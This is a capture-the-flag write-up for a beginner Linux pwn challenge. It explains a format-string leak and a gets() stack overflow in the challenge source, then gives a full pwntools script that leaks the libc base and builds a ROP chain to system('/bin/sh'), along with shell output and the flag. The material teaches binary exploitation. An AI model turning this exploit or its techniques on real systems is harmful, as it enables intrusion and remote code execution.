Category: Pwn
Difficulty: Baby
Author: LiveOverflow
This is a introductory challenge for exploiting Linux binaries with memory corruptions. Nowodays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge. An alternative writeup can also be found by 0x4d5a. More resources can also be found here.
Service running at: hax1.allesctf.net:9100
This is the writeup for the first part of the Intro to Pwning
series. The author provided a Docker-Compose setup for all three challenges.
The program asks the user for a name and for a spell using a personalized message for the user and says that we are a Hufflepuff
. If the spell is Expelliarmus
the program returns ~ Protego!
otherwise it tells us that we loose 10 Points.
I tried to speedrun the three pwn challenges therefore I tried to solve them with minimal effort. I wrote a handy ROP template some time ago so that I just have to get the offsets right.
We have the source code to all challenges.
The code has two vulnerable functions:
void welcome() { char read_buf[0xff]; printf("Enter your witch name:\n"); gets(read_buf); printf("┌───────────────────────┐\n"); printf("│ You are a Hufflepuff! │\n"); printf("└───────────────────────┘\n"); printf(read_buf); }
The code above is actually vulnerable to two attacks, a stack-buffer overflow using the gets
function on the read_buf
buffer. This alone would be enough for an exploit, but due to ASLR
the chance of success is quite low, because we need to hit the right address when overwriting the return pointer which we can just guess. Luckily the code is vulnerable to another attack which allows us leak some data.
The format string attack abuses the way formatting works in function like printf, snprintf, fprintf, ...
those functions take a format specifier as their first argument and use this to represent the next arguments. We can lookup the calling convention on wikipedia.
The calling convention of the System V AMD64 ABI is followed on Solaris, Linux, FreeBSD, macOS, and is the de facto standard among Unix and Unix-like operating systems. The first six integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX, R8, R9
(R10 is used as a static chain pointer in case of nested functions, while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for the first floating point arguments. As in the Microsoft x64 calling convention, additional arguments are passed on the stack
.
Source: wikipedia
Using this attack we can read the contents of those Registers (except for RDI which is used for the format specifier) and we can read the content of the stack.
Here is the output of telescope
(which prints a fancy back-trace) inside of printf
.
00:0000│ rsp 0x7ffe7b03b9e8 —▸ 0x555cb48fda86 ◂— nop 01:0008│ rdi 0x7ffe7b03b9f0 ◂— 'AAAA%43$p' 02:0010│ 0x7ffe7b03b9f8 ◂— 0x70 /* 'p' */ 03:0018│ 0x7ffe7b03ba00 ◂— 0x0 ... ↓ 08:0040│ 0x7ffe7b03ba28 ◂— 0x7f0410000000 09:0048│ 0x7ffe7b03ba30 —▸ 0x7f04afcb3787 ◂— pop rdi /* '__vdso_getcpu' */ 0a:0050│ 0x7ffe7b03ba38 ◂— 0x340 0b:0058│ 0x7ffe7b03ba40 ◂— 0x0 ... ↓ 0d:0068│ 0x7ffe7b03ba50 —▸ 0x7f04b011a100 ◂— 0x0 0e:0070│ 0x7ffe7b03ba58 ◂— 0x1 0f:0078│ 0x7ffe7b03ba60 —▸ 0x7f04b010f4c0 ◂— 0x7f04b010f4c0 10:0080│ 0x7ffe7b03ba68 —▸ 0x7f04afefbf5f ◂— test eax, eax 11:0088│ 0x7ffe7b03ba70 —▸ 0x7f04b011a710 —▸ 0x7ffe7b141000 ◂— jg 0x7ffe7b141047 12:0090│ 0x7ffe7b03ba78 ◂— 0x0 ... ↓ 14:00a0│ 0x7ffe7b03ba88 —▸ 0x7ffe7b141298 ◂— add byte ptr [rdi + 0x5f], bl 15:00a8│ 0x7ffe7b03ba90 ◂— 0x1958ac0 16:00b0│ 0x7ffe7b03ba98 —▸ 0x7f04afcb3787 ◂— pop rdi /* '__vdso_getcpu' */ 17:00b8│ 0x7ffe7b03baa0 —▸ 0x7ffe7b03bb20 ◂— 0x1 18:00c0│ 0x7ffe7b03baa8 —▸ 0x7ffe7b141180 ◂— 0x71dd557e00000007 19:00c8│ 0x7ffe7b03bab0 ◂— 0x7f0400000002 1a:00d0│ 0x7ffe7b03bab8 ◂— 0x0 1b:00d8│ 0x7ffe7b03bac0 —▸ 0x7ffe7b03ba80 ◂— 0x0 1c:00e0│ 0x7ffe7b03bac8 ◂— 0x0 ... ↓ 1e:00f0│ 0x7ffe7b03bad8 ◂— 0xf686a8148ae04b00 1f:00f8│ 0x7ffe7b03bae0 —▸ 0x7ffe7b03bbf0 ◂— 0x1 20:0100│ 0x7ffe7b03bae8 —▸ 0x555cb48fd9e9 ◂— nop 21:0108│ rbp 0x7ffe7b03baf0 —▸ 0x7ffe7b03bb10 —▸ 0x555cb48fdb30 ◂— push r15 22:0110│ 0x7ffe7b03baf8 —▸ 0x555cb48fdb21 ◂— mov eax, 0 23:0118│ 0x7ffe7b03bb00 —▸ 0x7ffe7b03bbf8 —▸ 0x7ffe7b03c821 ◂— '/ctf/pwn1' 24:0120│ 0x7ffe7b03bb08 ◂— 0x100000000 25:0128│ 0x7ffe7b03bb10 —▸ 0x555cb48fdb30 ◂— push r15 26:0130│ 0x7ffe7b03bb18 —▸ 0x7f04afb21b97 (__libc_start_main+231) ◂— mov edi, eax
As you can see there are many interesting addresses to leak, we could leak the return address of welcome
(22) and calculate the base address of pwn1
, but I decided to go for __libc_start_main+231
(26) as the address can be used to calculate the base address for libc, which in return we can use to build a ROP chain which does not depend on the program and therefore use for the other pwnintro
challenges.
We can find the right offset by using %(0x5+0xn)$p
where n
is the offset of the telescope output
. Which results in %43$p
.
Enter your witch name:
%43$p
┌───────────────────────┐
│ You are a Hufflepuff! │
└───────────────────────┘
0x7f1b0a12db97 enter your magic spell:
-10 Points for Hufflepuff!
We have address 0x7f1b0a12db97
for __libc_start_main+231
and if we take a look at the virtual memory map:
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x559ba4092000 0x559ba4093000 r-xp 1000 0 /ctf/pwn1 0x559ba4293000 0x559ba4294000 r--p 1000 1000 /ctf/pwn1 0x559ba4294000 0x559ba4295000 rw-p 1000 2000 /ctf/pwn1 0x7f1b0a10c000 0x7f1b0a2f3000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f1b0a2f3000 0x7f1b0a4f3000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f1b0a4f3000 0x7f1b0a4f7000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f1b0a4f7000 0x7f1b0a4f9000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f1b0a4f9000 0x7f1b0a4fd000 rw-p 4000 0 0x7f1b0a4fd000 0x7f1b0a524000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f1b0a71a000 0x7f1b0a71c000 rw-p 2000 0 0x7f1b0a724000 0x7f1b0a725000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f1b0a725000 0x7f1b0a726000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f1b0a726000 0x7f1b0a727000 rw-p 1000 0 0x7fff15c05000 0x7fff15c26000 rw-p 21000 0 [stack] 0x7fff15daa000 0x7fff15dad000 r--p 3000 0 [vvar] 0x7fff15dad000 0x7fff15daf000 r-xp 2000 0 [vdso]
we can see that libc is loaded at 0x7f1b0a10c000
which results in the offset 0x7f1b0a12db97-0x7f1b0a10c000=0x21b97
Before I continue we should take a look at the second vulnerable function:
void AAAAAAAA() { char read_buf[0xff]; printf(" enter your magic spell:\n"); gets(read_buf); if(strcmp(read_buf, "Expelliarmus") == 0) { printf("~ Protego!\n"); } else { printf("-10 Points for Hufflepuff!\n"); _exit(0); } }
Here we have the the same vulnerability, gets
on a stack-buffer.
Here is a part of the man entry:
Never use this function.
gets()
reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF
, which it replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below).
Source
We just have to make sure our input does not contain newlines and gets
will read it into and over the buffer. This comes quite handy as we have to pass the strcmp(read_buf, "Expelliarmus")
check, because _exit(0)
would not do a ret
. The function tests if two char arrays match until the first nullbyte. Therefore our payload has to start with Expelliarmus\x00
.
I won't go too much into the details of ROP
, basically it is a code reuse attack where code snippets end with a ret
instruction. It is a bit more useful than ret-2-libc
, because it can be used to do more complex stuff. For most pwn challenges it is enough to pop the address of /bin/sh\x00
in RDI
and call system
.
pwntools
has a function to search for gadgets.
With all this combined a script can be written to do the work for us.
I used my local libc for this, for the remote exploit we just have to adjust the offsets to the libc in the Docker container.
The padding can be calculated by using cyclic
in the overflow , get the value of the return pointer and cyclic_find
to get the offset.
$ ./rop.py debug buffer_overflow [...] cyclic: 0x61616e63
$ ./rop.py remote [*] '/ctf/pwn1' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [x] Opening connection to hax1.allesctf.net on port 9100 [x] Opening connection to hax1.allesctf.net on port 9100: Trying 147.75.85.99 [+] Opening connection to hax1.allesctf.net on port 9100: Done [*] '/ctf/libc.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] __libc_start_main+243: 0x7f8738dea1e3 [+] Libc base address: 0x7f8738dc3000 [*] Loaded 195 cached gadgets for 'libc.so' [*] Switching to interactive mode ~ Protego! $ ls flag pwn1 ynetd $ cat flag CSCG{NOW_PRACTICE_MORE} $ exit [*] Got EOF while reading in interactive [*] Interrupted
#!/usr/bin/env python3 from pwn import * from huepy import * import sys import os import socket import subprocess import re vuln_host = 'hax1.allesctf.net'#'127.0.0.1' vuln_port = '9100' app_path = os.getcwd()+'/pwn1' lo = not 'remote' in sys.argv dbg = 'dbg' in sys.argv or 'debug' in sys.argv if dbg: log.setLevel(2) break_main = 'break_main' in sys.argv buffer_overflow = 'buffer_overflow' in sys.argv context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h']) def init_dbg(app_path): args = [] if break_main and not buffer_overflow: args.append('set stop-on-solib-events 1') args.append('continue') args.append('continue') args.append('break __libc_start_main') args.append('commands') args.append('break *$rdi') args.append('continue') args.append('end') args.append('continue') args.append('delete') elif buffer_overflow: args.append('set context-sections ""') args.append('define hook-stop') args.append('printf "cyclic: %p\\n", *((int *)$rsp)') args.append('python __import__("time").sleep(10000)') args.append('end') args.append('continue') else: args.append('continue') return gdb.debug(app_path, "\n".join(args)) elf = ELF(app_path) if lo: p = process(app_path) if not dbg else init_dbg(app_path) lib = "/lib/x86_64-linux-gnu/libc.so.6" else: p = remote(vuln_host,vuln_port) lib = "libc.so" libc = ELF(lib) def nop_libc(): rop = ROP(libc) rop.raw(rop.search(regs=[], order = 'regs')[0]) return rop.chain() def leak_libc_start_main(addr): code = libc.disasm(libc.symbols['__libc_start_main'],0x500) r = re.findall(r".*call.*rax.*",code) if len(r)>0: offset = int(r[0].split(":")[0].strip(),16)+len(asm('call rax')) log.success("__libc_start_main+%d: "%(offset-libc.symbols['__libc_start_main']) + green(hex(leak))) libc.address = leak -offset return log.error("failed to leak libc, can't calculate base address") exit(1) def shell_system(): rop = ROP(libc) rop.raw(rop.find_gadget(['pop rdi','ret'])[0]) rop.raw(next(libc.search(b'/bin/sh\x00'))) rop.call(libc.symbols['system']) log.debug("Shell chain: \n" + white(rop.dump())) return rop.chain() #PWN if buffer_overflow: p.sendlineafter(":",b"A") p.sendlineafter(":",b"Expelliarmus\x00"+cyclic(4096)) p.sendlineafter(":\n",b"AAAA%43$p") p.readuntil("AAAA") leak = int(p.readuntil(" ").rstrip(),16) leak_libc_start_main(leak) log.success("Libc base address: " + green(hex(libc.address))) padding = cyclic_find(0x61616e63) p.sendlineafter(":",b"Expelliarmus\x00"+b"B"*padding+nop_libc()+shell_system()) p.interactive()
To mitigate this problem the following changes should be made:
stack cookies
read
to prevent buffer overflowsputs
or printf("%s",data)
CSCG{NOW_PRACTICE_MORE}